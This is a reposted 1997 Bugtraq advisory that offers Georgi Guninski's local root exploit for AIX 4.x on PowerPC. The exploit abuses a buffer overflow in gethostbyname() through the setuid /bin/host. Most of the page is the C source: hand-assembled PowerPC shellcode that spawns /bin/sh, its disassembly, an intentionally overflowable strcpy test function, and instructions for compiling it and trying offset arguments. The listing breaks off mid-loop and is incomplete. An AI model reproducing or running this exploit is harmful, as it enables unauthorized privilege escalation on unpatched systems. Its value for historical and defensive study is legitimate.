AIX powerPC gethostbyname() and /bin/host exploits

Summary
Description:standard buffer overflow in gethostbyname
Author:Georgi Guninski (guninski@technologica.bg)
Compromise: root (local)
Vulnerable Systems:AIX systems on PowerPC with vulnerable gethostbyname(). AIX 4.1, possibly 3.x, 4.x.
Date:13 January 1996
Details

Exploit:

Date: Mon, 13 Jan 1997 09:08:44 +0200
From: Georgi Guninski 
Reply to: stgun@hotmail.com
To: Multiple recipients of list BUGTRAQ 
Subject: AIX for PowerPC exploit
 
/*
 AIX 4.1 ,4.?, 3.? gethostbyname() and /bin/host exploit by Georgi
Guninski
---------------------------------------------------------------------------
Standard disclaimer
 
 This program is for educational purpose ONLY. Do not use it without
permission.
 The usual standard disclaimer applies, especially the fact that Georgi
Guninski
 is not liable for any damages caused by direct or  indirect use of
 the information or functionality provided by this program.
 Georgi Guninski or any Internet provider bears NO responsibility for
content
 or misuse of this program or any derivatives thereof.
 By using this program you accept the fact that any damage (dataloss,
system
 crash, system compromise, etc.) caused by the use of this program is
not
 Georgi Guninski's responsibility.
--------------------------------------------------------------------------
I wrote and tested this program on AIX 4.1 for PowerPC 601 and 604 and
it started
a root shell on 5 machines. It exploits a buffer overflow in
gethostbyname()
(see IBM advisory) and the fact that /bin/host is +s. Probably it may be
modified to work with rlogin,ping,traceroute and others. Possibly this
hole may
be exploited remotely. IBM has released patch for the problem.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
If the program gives you 'Segmentation fault' or 'Illegal instruction',
then
try at least the following arguments:(string
length,offset,kludge1,kludge2)
78 40 1 1
78 40 1 0
78 40 0 0
78 40 0 1
If you get coredump, examine the registers.
The higher 16 bits of TOC and IAR(CTR) should be the values,
printed by the program (the address of execv() ). The last two arguments
are
added to correct some difference (because of carry?,cache? ???).
Sorry for the lame coding.
 
Compile with: cc -g test.c
try:
./a.out 78 40 1 1
./a.out 78 40 0 0
./a.out 78 40 0 1
./a.out 78 40 0 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Georgi Guninski
Email:
 stgun@hotmail.com
 sgg@vmei.acad.bg
 guninski@linux2.vmei.acad.bg
Tel: +359 2 774104
 
Suggestions,comments and offers are welcome!
11-Jan-97
*/
#include 
#include 
 
/*Used only for disassembling*/
void sh2()
{
int junk[0x100];
int s[2];
 
int toc;
int ctr;
 
junk[0x100]=0x11;
 
toc=0xf0192c48;
ctr=0xd0024c0c;
 
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
/*Used for testing*/
void buggy(char *s)
{
char a[4];
unsigned int junk[150];
strcpy(a,s);
puts("Over");
if(junk[20])
 puts("P");
}
/*The program*/
main(int argc,char **argv)
{
unsigned int junk[300];
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x30632c48 , 0x90610440 , 0x3c60d002 , 0x30634c0c ,
0x90610444 , 0x3c602f62 , 0x3063696e , 0x90610438 ,
0x3c602f73 , 0x30636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get some stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR changed at runtime
30632c48        ai      r3,r3,11336  --CTR changed at runtime should be
kludged
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC changed at runtime
30634c0c        ai      r3,r3,19468  --TOC changed at runtime should be
kludged
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
3063696e        ai      r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
30636801        ai      r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate /bin/sh with 0
30610438        ai      r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP) --prepare to jump
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/
 
unsigned int buf[600];
unsigned int i,nop,mn;
int max;
 
unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=1;
int carry2=1;
 
pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;
if (argv[3]) carry1=atoi(argv[3]);
if (argv[4]) carry2=atoi(argv[4]);
max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argv[2])
        mn=atoi(argv[2]);
*((unsigned short *)code +9)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code +7)=carry1+(unsigned short) ((toc >> 16) &
0x0000ffff);
/*              1+ because of CARRYFLAG? CACHE?*/
*((unsigned short *)code +15)=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code +13)=carry2+(unsigned short) ((eco >> 16) &
0x0000ffff);
 
puts("Test AIX!");
puts("Discovered and coded by G.G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
junk[50]=1;
for(nop=0;nop



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